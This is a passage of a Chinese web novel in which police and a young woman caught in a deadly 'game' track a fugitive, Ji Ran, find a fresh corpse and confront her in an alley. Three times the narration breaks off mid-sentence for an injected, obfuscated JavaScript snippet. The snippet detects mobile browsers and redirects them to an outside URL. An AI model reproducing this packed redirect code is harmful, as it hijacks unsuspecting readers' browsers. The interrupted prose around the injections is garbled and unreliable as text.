周林没回答,而是继续沉浸在自己的叙述中:“我那时就在想,是不是因为她拒绝给钱,才导致了季铭的失踪甚至死亡。我甚至怀疑,可能就是她下的毒手。不然,一个向来温顺听话的人怎么会突然反抗呢……” 说着说着,他肯定了自己的猜测:“肯定是她觉得自己长能耐了,想不顾多年感情想离开我们。就算她没有亲手杀害季铭,也有可能是她在外面结识了什么人,然后指使他们杀害了季铭。” 最近突然反抗?这个转变很可能与她参与的所谓“无限游戏”有关,这一点在房间里的其他人都心照不宣。 他们清楚,反抗和杀人是完全不同的两件事。根据季顺对季然性格的描述,以及她对季铭深厚的感情,房间里的纪然三人都认为季然不大可能是杀害季铭的凶手。 纪然听到周林的话,感到极度反感,心中充满了厌恶。什么叫做“想离开我们”? 她的表情复杂,难以言表。周林虽然外表可能曾经清秀过,但现在他那不修边幅的模样,加上他那些令人作呕的言论,真的好想把他打一顿。 “她来找我,还问那种问题,我当然生气,就和她吵了起来。她表现得好像完全不知道季铭已经死了,一脸惊讶地看着我,还哭个不停。说实话,那时候我真有点相信她不知道这件事,但你们知道的,男人嘛,李警官,看到她那样哭泣,难免会有点……”周林突然话音一转,向李新咏使了一个意味深长的眼神。 “……” 李新咏原本冷静的面容开始扭曲,像吃了苍蝇似的,紧接着皱着眉露出了疑惑又怀疑人生的表情。随后,他的手背上青筋暴起,慢慢微笑起来:“尊重是相互的,但是你别逼我动手打你。” 虽是笑着,可他的声音里却透着刺骨的冰冷。 42. 她的下落 周林避开他的视线,继续他的叙述:“……我想要去拥抱她,她却像在玩欲擒故纵的游戏一样躲避我。然后我们相互推搡打闹的时候她不知道发什么疯,突然冒出我没见过的玩意儿,像玩偶一样,向我扑过来。就在我分心应对的时候,她趁机跑了。” 情绪愈发激动,周林愤怒地抱怨道:“*的,这个臭娘们,要不是她,我也不会被抓伤,痛了好几天。结果她倒好,直接跑不见人影,也不知道死哪去了,连她租的房子都找不到人。李警官,她肯定与季铭案子有关,这样躲躲藏藏,明显是心里有鬼。她就是在心虚,不然为什么要躲着我!” 他的言辞中透露出一股气愤感,季然的失踪显然让他感到自己尊严受到了挑衅。 “……” 纪然紧握着衣角,努力抑制住自己内心深处想要一拳挥向他的冲动。虽然周林的话并不是针对她,但他对另一名女性那种轻蔑和残忍的态度,令人难以忍受。 她深吸一口气,试图平复自己的情绪。她知道,作为调查的一部分,她需要保持冷静和客观。但同时,作为一个女性,她无法忽视周林话语中透露出的性别歧视和潜在的暴力。 可是愤怒的火焰还是在胸中燃烧,纪然怕自己忍不住当着警察的面打人,于是对着叶柯指了指房门,几乎是逃也似的冲了出去。关上门后,她靠在门上,深呼吸,像是在与内心的野兽搏斗,慢慢吐出一口气,努力让自己恢复理智。 客厅内,灯光已经亮起,明亮的光束穿透了夜的寂静,将四周的黑暗一扫而空。当两人注意到动静转过头时,他们看到纪然眉头紧锁,眼中流露出被压抑的怒火,这种情绪的波动让她显得有些异常,引起了他们的疑惑。 “怎么了?”宋承收回轻拭地板的手指,站起来走过来问她。 纪然摇了摇头,再次深呼吸,缓缓问道:“根据季顺之前的口供,周林在十几年前的违法行为,加上持续到现在的逼迫行为,是不是已经足够我们采取行动逮捕他了?” 听到这个问题,宋承愣了一下,眉头紧锁,说:“目前我们还没有找到确凿的证据来证明他犯下的罪行,而且事件发生的时间太过遥远,仅凭现有人证难以形成完整的证据链。即使周林本人承认,也难以确定其真实性,因为这种事情的界定本身就相当复杂,涉及到许多难以量化的因素。” “他承认了?”肖羽注意到纪然脸上的异样神色,推测她可能在屋内听到了某些不愉快的消息,走过来问道。 这也是一个问题,周林的话里并没有承认这些。纪然摇了摇头,眉头紧紧地皱着。只要回想起周林的言论,她就感到一阵深深的恶心和不适,那种感觉仿佛有什么东西卡在喉咙里,让她感到窒息。 忍不住低声嘟囔一句,声音中带着一丝愤懑:“这种人怎么能就这样逍遥法外!”这种迫害女性的人就该进去当平头老百姓。 即便季然可能是害她的人,但同样身为女性,她实在无法忍受看到任何女性仅仅因为性别而遭受迫害。 窗外的月光不算明亮,在屋内亮着灯的环境中,这微弱的月光却显得毫无存在感,仿佛被灯光所吞噬,失去了它原本的光彩。 宋承和肖羽在检查完除周林卧室外的所有房间,随后朝周林正在接受简单审问的房间走去。两人面色凝重,因为在周林家中发现了可疑的血迹,加上周林他鬼祟的行为,这使得他成为了主要嫌疑人,直接被他们带回警局。 后续的审问纪然没有参与,本身作为非警务人员的她就没有这种权限,之前算是涉及到“玩家”才破格让她参与,现在周林的事明显跟她无关。 这种调查和审讯,还得靠专业人士来。而且,她本人也是警方关注的焦点,在这种情况下,她的主要任务应该是配合警方,协助追踪季然的下落。 毕竟,如果连警方都难以找到的人,纪然作为一个既没有经济资源也没有显赫身份的普通人,又怎么可能轻易找到呢?这显然是不现实的。 说实在的,连辆共享单车她都扫不了码…… 为了确保第二天能保持清醒头脑继续调查,纪然选择回去接着睡觉。时间在身份卡上的倒计时中悄然流逝,一分一秒地减少。当新的一天到来,阳光透过窗帘刺入房间,将她从睡梦中唤醒时,倒计时只剩不到24小时了。 当她抵达警局时,看见宋队长他们正忙碌地穿梭其间,一边快步走着,一边打电话,手里还拿着文件。 “经过一晚上的审讯,周林交代了不少事。”李新咏注意到纪然走进警局,他的表情凝重,拿着一个本子,向她走来。 “他承认自己知道季然的住所,而且之前我们在季然房间床底下发现的血迹,实际上是周林之前为了‘惩罚’季然的反抗行为,与季铭狼狈为奸,强行把她关进床下。那些血迹,都是季然在挣扎中留下的。”李新咏边说边翻看着手中的记录本,声音里透着一丝寒意。 “不是,季铭为什么要这样对待她?”纪然很不理解,根据季顺的描述,那三人之间纠葛也没这么离谱啊。而且怎么说季然也对季铭死心塌地的,又一起长大。两人互相陪伴那么久,结果季铭对人家这这么残忍。 李新咏摇了摇头,语气中透露出一丝沉重:“人心难测,有时候,最亲近的人反而可能成为最大的伤害者。” “真是两个疯子……”肖羽听到后,轻轻啧了一声,低声嘀咕道。 李新咏点了点头表示赞同,随后语气一转,带来了一丝希望:“还有个好消息,我们查到季然的下落了。” 所有人的目光立刻集中在李新咏身上,尤其是纪然,就差两眼放光了。 “她在哪?”纪然语气有些急切,今天是最后一天了,她需要尽快找到季然才行。 李新咏招呼大家走进会议室。他来到电脑旁,操作投影仪将电脑屏幕中的地图显示在白板上。会议室的窗帘已经拉上,室内显得昏暗,只有白板上的地图在灯光下显得格外明亮。 他用激光笔在地图上圈出了几个关键地点,并用ABCDE五个字母分别标记,然后向大家说明:“根据周 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13179127|138985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 林的交代,季然在九号那天打伤他之后便失去了联系。但结合我们对她性格的分析,季然并不是一个胆大的人。周林提供了一些她常去的地方,我们调取了这些地区的监控录像,经过反复查看,发现她在这几个地点短暂出现过。” “在A点,我们在9号下午大约五点钟的监控中发现了季然的身影。B点则是在当晚十点左右。然后是C点,在隔了几公里之外,时间是10号凌晨一点。至于D点,则是晚上九点。” 李新咏边说边在白板上标注出各个时间点。 “最后,我们在E点,也就是周林的住所附近,于11号晚上接近午夜时分发现了她的踪迹。”李新咏在白板上E点的位置再次画了一个圈,以示强调。 地图上标记的五个地点彼此相距不远。纪然一眼望去,便察觉到了其中的异常。 “这些地点之间...是有什么联系吗?” 她皱着眉头,提出了猜想。 “没错,” 李新咏向她点头确认,然后放大了地图,在白板上将这五个标记地点相互连接起来,“从这个视角来看,这些地点实际上都集中在周林住处周围五公里范围内,尤其是最后一个E点,非常接近周林所住的那栋楼。” 纪然嘶了一声,感到难以置信,他们一直在寻找的人,竟然在昨晚就与他们近在咫尺。她随即提出了一个疑问:“那我们昨晚去周林家的时候,她会不会已经看到我们了?” “不会,”宋承倚靠在墙上,双臂交叉在胸前,注视着白板上的地图,“如果她当时真的在附近,以我们的反侦查能力,不可能察觉不到。而且,监控显示她在零点左右出现在那一带,而我们到周林住所的时候,已经快凌晨两点了。” “嗯,”李新咏肯定了队长的话,并补充道,“事实上,在凌晨一点二十分的时候,监控再次捕捉到了她的身影,这表明她那时已经开始往回走,所以我们刚好错过了。” 半小时的时间差,却导致了一整夜的错过,纪然紧抿着嘴唇,心中五味杂陈,难以言喻。她又问了一句:“现在她在哪?” 李新咏用安抚的眼神示意纪然稍安勿躁,然后在地图上划出一个区域,说道:“我们已经以周林的住处为中心,对周围五公里半径内的范围进行了布控排查,还需要一些时间才能有结果。但只要她还在这片区域,我们有信心很快就能找到她,不会超过半天的,你可以放心。” 鉴于涉及第九系列凶杀案的严重性,他们提交的紧急申请在天还未亮时已全面获批,顺便补交了搜查令申请。为了确保搜索工作的彻底性和效率,他们不仅迅速调配了其他区域的警力,还部署了无人机从空中进行辅助搜索。 随后,他们根据地图继续推测季然之后可能会去的地方。在重重部署下,没过多久,果然就收到了关于季然行踪的情报。 事不宜迟,他们迅速行动起来,根据线索进行下一步的追捕措施。 纪然眼睛微动,带着不离身的笔记本,坐上第一小队的车子,冲着他们刚刚接到的线索所指的地址而去。 43. 复仇之路第一步 季然戴着口罩,用现金买了一瓶水,从小旧的店里走出。她蓦然发觉,这条街上多了不少行为有些奇怪的人——他们的目光在每一个路人的脸上徘徊,看似在寻找着什么。 早晨清凉的阳光透过树梢,落在她的头发上,光晕渲染出酒红色的光泽。齐肩的短发整齐地扎在脑后,黑色口罩之上仅露出一双警惕的眼睛。 一种不祥的预感涌上心头,难道是警察发现了她的踪迹? 虽说哥哥的死与她没有关系,不过那天晚上她把昏迷的陌生女孩带回自己房间……也许是那个女孩活下来后报警来查她的? 还是说,是那天打伤周林逃跑后,周林那混蛋报了警来抓她? 季然并不认为自己在周林这件事上有什么过错,但对于那个女孩,她不免有些心虚。若无其事地调整了口罩,季然低下头,步伐加快转入另一条街道,沿着路边迅速向一条小巷中移动,尽量避开人群和视线。 这条路从没走过,但她要抓到杀死哥哥的真正凶手,现在还不能被警察抓到。从无意中被卷进一个奇怪的地方开始,她历经艰难险阻,侥幸存活,成功回到原本的世界,身上多了几个神奇的东西。 这些东西给了季然很大的安全感,自从得知季铭的死讯以来,她便陷入了深深的迷茫和愤怒之中。她抛却以往的自我,心中唯一的念头就是找到凶手,利用她所拥有的这些神奇物品来狠狠地泄愤,为哥哥报仇。 “砰。” 前方巷子的转角处突然传来了重物坠地的声响。 耳朵一动,季然立即停下了脚步,心里的警觉性瞬直接拉满,眼睛直勾勾地盯着声音传来的方向。 一、二、三…… 季然在心里默数了几秒,十秒后她继续迈步,缓缓靠近巷子转角处,也是这条巷子除了身后进来的入口外,唯一能穿行的一条路。 脚步声轻轻响起,逐渐接近转角,然后猛地止住了。 一个看起来三十多岁的男人倒在地上,双眼紧闭,没有任何动静。他的身体横在巷子中,将不算狭窄的空间一分为二:一边是怔住的季然,另一边则是一个背光站立的高大身影。 强烈的阳光从那人身后照射过来,季然不得不眯起眼睛,她努力透过光线与那人对视。 好眼熟,似乎在哪里见过…… 那人嘴角勾起一抹明显的笑意,不急不慢地开口:“又见面了。”声音中带着说不出的韵味,像夜风中河畔的大提琴声,琴弦被拉动时发出的深沉而悠扬的低吟。 又见面了?她心中一紧,努力在记忆中搜寻着这个声音和面孔的主人。 季然垂眸看向倒在地上的人,仔细观察了一会儿,注意到这人的胸膛没有任何起伏,全身也没有任何动弹的迹象。 她紧抿着嘴唇,鼓起勇气走近并蹲下身,轻轻推了推那人。触感中皮肤尚存余温,但对方并无任何反应。季然小心翼翼地将手指伸到那人的鼻子下——确实已经失去了呼吸。 一个念头在脑子里闪过,季然的手猛地抖了抖,迅速缩了回来。她立刻站直身体,不自觉地后退几步,心跳如雷。 “你做了什么?”季然不敢置信,声音带着颤抖。只是躲个警察而已,怎么还碰到了这种命案现场。不过,眼前的这一幕似乎似曾相识。 那人依旧保持着无声的微笑,用一种悦耳而低沉的声音,仿佛恶魔的低语般说道:“如你所见。” “他……他真的死了?”季然的右手悄悄地滑入衣服口袋,指尖轻触着口袋里的小物件,她全身的神经都紧绷起来。 她想起来了,不久前她确实见过这个人,在类似的场景中,同样有着倒在地上的人。当时这个人就是看着地上用手帕擦拭着手指,与他撞上视线时,他也是带着这样的微笑。 那时她还不清楚地上的人究竟是生是死,但这个人轻易地让她和哥哥离开了现场,想来不是什么干坏事的人,否则他们当时肯定逃不了,甚至可能会被灭口。 季然突然意识到,她现在看到的倒在地上的人已经死了,那么她之前见到的那一次,那个人可能也是一具尸体。 耳边隐约又回响起了几天前听到的新闻报道:“案发现场无打斗痕迹,受害人身上并无任何伤痕……死亡前并无挣扎痕迹,脸部表情无痛苦……” 每一句都能与她眼前所见的场景对应上。 捏住口袋里的道具,季然眼神有了变化,直视着面前站立的男人——这个杀死她哥哥的真正凶手。 对方没有直接回答她的问题,季然再次质问:“当时你就是这么杀了我哥的?” “你认为呢?”男人反问道,不急不慢地用手帕轻轻擦拭着手指,尽管他的手指并未真正触碰过地上的人。 “我哥哥的死,是不是你干的?”她的语调变得急促,眼神愈发冰冷,手中的道具被她攥紧,仿佛只要对方承认,她就会立刻使用它进行攻击。 男人的眼神落在季然右手所在的衣服口袋上,答非所问:“这种低级道具对我无效。我不杀你,你走吧。” 他看穿了她的意图? 他的话语轻描淡写,好像在讨论一件微不足道的小事,而自己最大的依仗在他嘴里不过是个没有用处的“低级道具”? 心脏狂跳起来,季然感到一种强烈的被透视的恐惧和不安,就像一条冰冷的蛇悄悄地滑过她的脊背,让她全身僵硬在原地。一时间,她觉得自己如同一只渺小的蝼蚁般,面对蛰伏的庞大的猛兽,无力挣扎,充满了无助感。 手中紧握的道具带来的痛感传到了手指,但她却忽视了这种痛楚,脑海中不断回响着那个男人刚才的话语。 难道他也是所谓的玩家? 而且还是比她更高级的存在?这个认知让季然迫使自己冷静下来。他是杀死哥哥的凶手,实力也许远超自己的想象。 季然察觉到,自己可能无法轻易地杀死他。或许他会像杀死地上的那个人一样,轻而易举地将她的存在抹去,如同踩死一只蚂蚁那样简单,毫不费力。 回想起哥哥的死,季然感觉身体里涌起一股灼热火焰,焚烧全身后却从心底深处里衍生出强烈的恨意。可她知道,愤怒和冲动只会让人陷入更大的危险,更别提实现报仇了。 或许她一辈子也杀不了他,但凭什么,凭什么他杀了哥哥也可以不用付出任何代价?就凭他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13179128|138985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是更高级的存在? 季然慢慢松开紧抓着道具的手指,大脑飞速运转,她反复权衡着局势,她需要一个计划,一个能够让她在这个力量悬殊的对决中生存下来,甚至反击的策略。 虽然不清楚为什么这个男人没有在她再次目睹杀人现场后立即杀掉她,但季然意识到这或许是一个可以利用的机会。 “看来你没杀他,如果是你做的,你不会让我这个目击者活着离开。”季然不动声色地试探性说道。 紧张而混乱的思绪中,一个复仇的计划如同黑夜中的一束火光,迅速在她的心中点燃并逐渐成型。她继续说:“你看起来很强,或许我们可以合作。” 男人轻笑出声,好似初春的阳光融化了冬日的积雪;笑声中带着轻微的颤动,如同轻柔的春风,随后悄然消散。他平静地抬起眼帘,目光中透露出一丝好奇:“哦?” “我给你做事,你帮我找到凶手,我要替我哥哥报仇。”她的眉眼中带着一股恨意,无声握起拳头,固执地看着他。 男人微微挑眉,嘴角带着一如既往的温柔笑意,说出来的话却带着玩味:“你觉得你这么个新人玩家,能为我做什么?” “我或许不能做什么,但我会成为最听话的工具。”面对男人的不甚在意,即便知道他在讽刺自己的弱小,季然却没有丝毫退缩,直勾勾地与他对视着。 “以我的能力,还缺听话的工具?”他轻轻嗤笑,仿佛在嘲笑面前人的不自量力。 季然用力攥拳,指甲在掌心里掐得生疼,咬着牙,声音中透露出一丝决绝:“你不缺听话的工具,但我为了我哥哥可以付出一切,我可以承受任何代价。” “哦?你能为我付出什么?”他微微倾身,嘴角笑意不减,眼神温柔,看过来时带着深情的意味,似乎很认真地在等待她的回答。 回想起两次撞见他时的画面,一个大胆的猜测在季然心头浮现,她决定利用这个猜测作为自己的筹码。 “仅仅是为了杀戮而杀戮,你不觉得很无趣吗?只需要你小小的帮我一把,之后我将为你呈现一场精彩的复仇表演。”嘴上说着从来没想过的话,季然的脸上却保持着平静。她知道自己必须说服眼前的男人,这是她唯一的机会。 男人忽然发出一阵笑声,一双多情温柔的眼里飞快闪过什么,季然没有看清。 似乎觉得这个提议颇为有趣,他随手抛出一把匕首,让它在季然面前的地面上旋转着停下,说道:“那就让我先见识一下你能表演出什么吧。” 盯着地上的匕首,季然一时间心情有些复杂。她知道这不仅仅是个简单的测试,还是她复仇道路上的第一步,她得活下去,掌握更强大的力量,伺机而动。 季然松开握紧的拳头,忽略掌心处的痛感,然后缓缓地伸出手去捡那把匕首。 就在这时,巷子外传来稳健的脚步声。他听到这个声音,话音一转,带着一丝玩味:“看来追捕你的人已经到了,我拭目以待。” 知道时间紧迫,季然迅速地捡起匕首,紧紧握在手中,感受着刀柄带来的冰凉。刀刃在阳光下显得更加锋利,光滑的刀身上照映出她逐渐坚定的眼神。 44. 找到你了 “最新收到的消息,十几分钟前,疑似季然的人在安平街附近出现过。”肖羽盯着手机屏幕,战术耳麦紧贴耳廓,冲着车内的同伴汇报着最新情报。 宋承与他坐在越野车的后座上,手指在手机屏幕上滑动,查看实时地图。他迅速定位到安平街,放大细节,沉思着分析:“安平街全长接近一公里,街道两旁主要是住宅区,去除小巷外共有三十多家店铺。” 听到安平街,李新咏单手在车载平板上调整路线,系统自动规划出最少时间到达的行驶路线。 为防止有什么突发意外,坐在副驾驶座位上的纪然翻开了笔记本,着重看第六页,也就是当前时间线的剧情,确保中间没有发生什么变故。 里面的文字情节与她的记忆一一对应,纪然又翻开了第七页,看到一片空白后才稍微安下心来。 已经是最后一天了,没有其他玩家因悬赏盯上自己后,感觉一切都顺利了很多,希望今天能顺利找到那个季然。 座椅后面的肖羽的声音继续响起:“其他人已经往安平街靠近。不过那里的商铺虽然不多,但人流密集,季然若真在那里,她很可能会利用这一点混入人群。” 肖羽的话语初听似乎合理,但细想便发现逻辑上的矛盾。纪然不禁质疑:“之前发现她踪迹的人没有尝试跟踪她吗?” “那个疑似她的人警惕性很高,没让人见到正脸。我们的人才刚准备靠近确认,她就迅速混入人群中消失了。”肖羽解释道,语气中透露出一丝无奈。 宋承仔细观察着手机里的地图,说:“根据她的性格特征,不太可能会一直待在人群里。而普通人往往对周围环境的变化缺乏敏感性,除非她做好了被警方追捕的心理准备,才会立即发现不对劲,否则我们的人不会轻易跟丢。结合这些情况,这个人,很可能就是她。” “这么说来,她现在很有可能是躲在某个小巷子里?”肖羽想到以季然的性格,她确实不是那种喜欢热闹的人,面对吵闹的大街,她躲在僻静的地方更有可能。 “也有可能她会反其道而行之,实际上躲在人群里。让其他人去街上找,尤其是道路两头盯紧点,我们去查那些小巷子。”宋承略微思索后,果断下达了指令。 在晴朗的白昼中,越野车呼啸而过,扬起一阵阵尘土。几公里的路程在走最短路线后,不到十分钟,他们已经抵达目的地。 “这里的监控摄像头分布得怎么样?”宋承看着窗外,低声问道。 肖羽划动手机屏幕,上面显示着安平街的监控网络布局图。他快速浏览了一下,回答道:“这里的监控摄像头并不多,而且大部分都集中在街道的两端。我们现在所在的位置是监控盲区。” 宋承点了点头,提醒道:“她也有特殊能力和道具,下车后一切小心行事。” 车门打开,第一小队的三人迅速而默契地跳下车辆,他们的动作矫健而敏捷,悄无声息地沿着几个明显的巷子口兵分三路。 宋承刚迈出几步,便察觉到了不对劲的地方。 他迅速回头,目光锐利如鹰,捕捉到了正准备独自开辟第四条路线的纪然。他的手仿佛拥有自己的意志般,迅速而准确地一把抓住了纪然的后衣领。 纪然被这突如其来的动作惊得愣了愣,她扭头,眼里露出两个大大的问号。 “你跟我一块走。”宋承承的目光与她对视,随后放开手,示意纪然跟上自己。 “噢,好。”纪然也反应过来,自己可是季然的“替死鬼”,手头上仅有一个笔记本的她,可能打不过拥有道具的季然。在这场危险的游戏中,跟随经验丰富的宋队长才是更明智的选择。 她紧跟着宋承的脚步,沿着小巷深入,阳光透过高楼间的缝隙,斑驳地投射在地面上。小巷里静悄悄的,只有他们的脚步声和远处偶尔传来的汽车喇叭声。 突然,宋承停下了脚步,他的耳朵捕捉到了一丝微弱的声音。他示意纪然保持安静,然后慢慢向声音的来源移动。 声音越来越近,一个提着包的中年男人走出拐角处,与他们视线对上。 那人看了他们一眼就侧着身子过去了,纪然回头,见他直接走出巷子,消失了踪影。她脑子里跳出一个想法:“应该不会是她用道具伪装的吧?” “不排除这种可能性,你看下第三次新手提示有没有触发。”宋承盯着那人走出去的地方,细碎的阳光洒落在巷子里,光影交错间,加深了他脸部的刚毅轮廓,显得目光越发幽深。 纪然摸出身份卡,看了看卡背面,说:“还没有,看来不是她,不然这么近怎么也该提示一下了。” 听到这么说,宋承才收回目光,放松了四肢绷起的肌肉,继续往巷子深处走。两旁的墙壁上爬满了岁月的痕迹,路过好几处别人家的大门,偶尔还有人从窗户里看他们一眼。 “队长,”两人的耳机里传来李新咏的声音,清冷的嗓音在电流的传递中有些失真,却掩盖不住其中的严峻,“六巷这里发现一具男尸,是刚死亡不久,身上没有任何明显的外伤痕迹……看起来,真凶又开始行动了。” 纪然和宋承对视一眼,彼此的眼中都闪过诧异。宋承迅速调整情绪回应,声音中透露出不容置疑的决断:“了解,新咏,保护好现场,通知云深,我们马上过去。” 他们没有时间犹豫,快速检查完这条巷子后,转身便向巷子口奔去。 “会是她杀的吗?”纪然搂着笔记本,声音带着不确定。头发被跑动时带来的风吹向身后,急促的脚步声在巷子里回响。 宋承的眉头紧锁,他无法回答这个问题。根据现有的证据无法证明是季然下的手,但她确实有这个作案动机和作案时间。他只能说:“还不能确定,先去看看现场。” 两人很快就来到安平街六巷,顺着巷子一路深入,在一个转角后,李新咏和肖羽的身影映入眼帘——他们正蹲在一个躺在地上的男人身前,神情严肃。 看来这就是那具男尸了。 肖羽去的巷子离六巷最近,在接到李新咏的通知后立马来到这里,与他一起在这个巷子周围设立了临时的警戒线,用以隔离可能的围 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13179129|138985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 观人群,并保护现场不被破坏。 见到两人到来,肖羽站起身,面色凝重地汇报情况:“死者的表情很平静,跟之前的案子一样。” 宋承蹲下身,仔细观察死者,他的手指轻轻触摸死者的脖颈:“根据尸体的僵硬程度和体温下降情况,死亡时间应该是在一小时内。” “这个时间点,她完全有可能在这里,”纪然低声说,“如果这是她做的,那她的目的是什么?” 听到这话,宋承站起身,环顾四周,他的思绪在飞速转动:“我们需要更多的信息。小羽,你继续调查监控,看看有没有拍到什么。新咏,你负责带人询问周围的居民,看是否有人目击了什么异常情况。” “明白。”两人异口同声地回答,然后迅速行动起来。 阳光落在地面上,有一处细小的痕迹吸引了纪然的注意力。光线正好照在那个区域,使得那道划痕在光影的映衬下微微发亮,更加清晰可见。 她凑过去蹲着查看:靠近拐角处边缘的水泥地上有一道不明显地划痕,它细微到几乎可以忽略,在仔细观察后,她发现它竟然呈现出一种螺旋状的图案。 连忙招呼宋队长:“宋队长,你看这个。” 往边上退了点,给宋承让出一点位置,她指着地面说:“这个痕迹有点奇怪,像是有什么东西在这擦过去,还转了几圈。” 宋承顺着纪然所指的位置看去,皱着眉分析道:“带有白色划痕,这个痕迹很新。” 他的目光细致地扫过痕迹周围,最终在一处不起眼的地方停了下来:“有半边脚印。”这个脚印非常浅,几乎与地面融为一体,但由于墙壁旁堆积的沙土和灰尘,它才得以留下这微弱的痕迹。 纪然听见后,比划了一下这半边脚印与自己鞋子的大小,说:“这脚印看起来也很新,大小似乎与我的鞋子相近,很可能就是她的。” 在辨别脚印方向后,宋承的目光落在巷子的更深处。纪然看到他让自己跟上,就紧随其后地跟着他继续往里走。 路过一旁时,李新咏提醒了一句:“巷子深处还没来得及检查,你们小心。” 随着他们深入,周围的环境变得更加宁静,只有他们两人的脚步声在这片寂静中,成为唯一的声响。 在巷子的尽头,一位身着白色外套的女人静静站立。她的姿态从容,双手背在身后,头发梳成了单马尾,黑白分明的眼睛直勾勾地盯着他们。 当纪然的目光与她相遇时,两人的视线在无声中交汇,仿佛有一丝难以言喻的火花在瞬间迸发。 “找到你了。”纪然缓缓开口。 这两天里,她曾无数次在脑海中设想过找到季然的场景,但当这一刻真正到来时,她的内心却出乎意料地平静如水。在她笔记本里记录的五次死亡,此刻在与季然的对视中,显得有些讽刺和荒诞。 对面的人没有说话,只是沉默地注视着他们,目光中似乎隐藏着复杂的情绪。正当宋承准备迈步向前时,季然的声音打破了沉默:“我要单独跟她谈谈,之后任你们处置。” 45. 第六次死亡 “我跟你没什么好谈的。”纪然露出拒绝的表情,即便她现在没有那些死亡的记忆,但是自己是实实在在的这个人而死了五次,怎么可能不会怨恨。 “跟我聊聊,我会告诉你想知道的一切。”季然微微一笑,仿佛早已预料到她的反应,声音中带着一股诱惑感,抛出一个诱饵。 纪然的目光在季然身上徘徊,听这话的意思,季然知道她的身份?还是说要告诉她为什么要把她当替死鬼? 她没有被季然的话所诱惑,只要将季然带到审讯室,真相自然会浮出水面。 不过,若是季然也有像之前那个玩家一样的凭空消失的能力,或许她永远也无法得知真相了。 心中涌起一股冲劲,要赌一把吗? 宋承似乎看出她的犹豫,拉住她,低声说:“你的任务已经完成了吧,没必要跟她谈什么,等抓住她,一切真相都会大白。” 对面的人轻轻笑了一声,眼神中透露出一股诡异感:“你只有这一次机会,只要我不愿意,你们永远都别想抓住我。” 这句话如同一记重锤,敲打在纪然心上,她的猜测成真了。 看了看身旁的宋承,又看了看对面的季然,悄声问旁边人:“她这样神神秘秘的,看起来怪厉害的,宋队长你打得过她吗?” “……理论上来讲,即便是我退后五十米,只要你能坚持五六秒,就不会有问题。现在她的能力还不明确,你过去会有危险,我是警察,怎么会让你一个小姑娘冲前面。”宋承紧盯着纪然,以防她擅自行动。 纪然发出灵魂质问:“那我们怎么抓到她?要怎么知道真相?” 这话把宋承问得哑口无言,揉了揉眉心,语气却还是不退让:“那也不能让你去涉险。你已经完成了你的任务,接下来的案子与你没有关系,你的生活可以回到正轨了。” 回到正轨?纪然听到这话时,心底的某根线像是被轻轻拨了一下,她垂下眼,低声说:“回不去了,在没有完全通关脱离这个游戏之前,我总得经历这些。” “更何况,并不是只有她有道具,我也有。”纪然冲着宋承咧嘴一笑,露出两颗小虎牙。手里这本特殊笔记本,才是她最大的依仗和底气。 宋承之前猜测过纪然的这个道具或许与预言有关,但看她现在这个表现,不像仅是预言能力。在听肖羽说过关于无限流的那些事后,他就意识到,处在这种危机四伏的游戏里,逃避并不能带来长久的安全。 她也是这么想的吧?所以在明知道前面可能是重重险阻,但还是会义无反顾地踏进去。不经历困境,从中汲取经验,怎么在以后避开危险存活下去呢? 纪然与他对视一眼,无需多言,从眼神中能看得出来,宋队长已经明白她的意思。她捏紧笔记本,向着对面季然走去,另一只手在身后摆了摆。 危险而已呀,这才刺激嘛。 今天是她有记忆以来的第三天,总感觉自己在某些方面的变化正在不断扩大,让人又兴奋又不安。不安来自于未知,兴奋也来自于未知。从最初的恐惧到现在隐约期待着更刺激的一面,短短数日,她的想法已经经历了翻天覆地的转变。 或许,跟那些“死亡”有关,怎么说她也是经历五次死亡结局的人了。 纪然的脚步声回荡在安静地巷子深处,她直视着季然。身后的宋承往后退了退,给她们留下谈话的空间。 “你要跟我谈什么?”走到季然面前,纪然平视着对面这个与她差不多身高体形的的人,“我应该跟你无冤无仇的吧,为什么要陷害我?” 她一步步走近,季然也没有说话。直到纪然站在离季然不到一米的位置,她才听见对面的人开口:“有人要杀我,我只能让你替我去死。” 季然的声音带着无奈,好似在诉说着一个无法逃避的命运。 纪然皱起眉,语气带着怀疑:“谁要杀你?” “不能说,有人在听。”季然的眼神闪烁,没有直视她。 “没有人在听。”纪然环顾四周,除了宋承的目光外,她没有发现任何异常。放眼望去,这附近每一户的窗口处也没有看到人影,以这个距离,正常交谈声不至于会被听到。 “你看不到他,他就在我身边。”季然轻轻摇了摇头,声音中带着一丝神秘,示意她走近点。 什么神神叨叨的…… 纪然再次审视四周,却依然没有发现任何异常。她深吸口气,又往前迈出两步:“现在可以说了吗?” 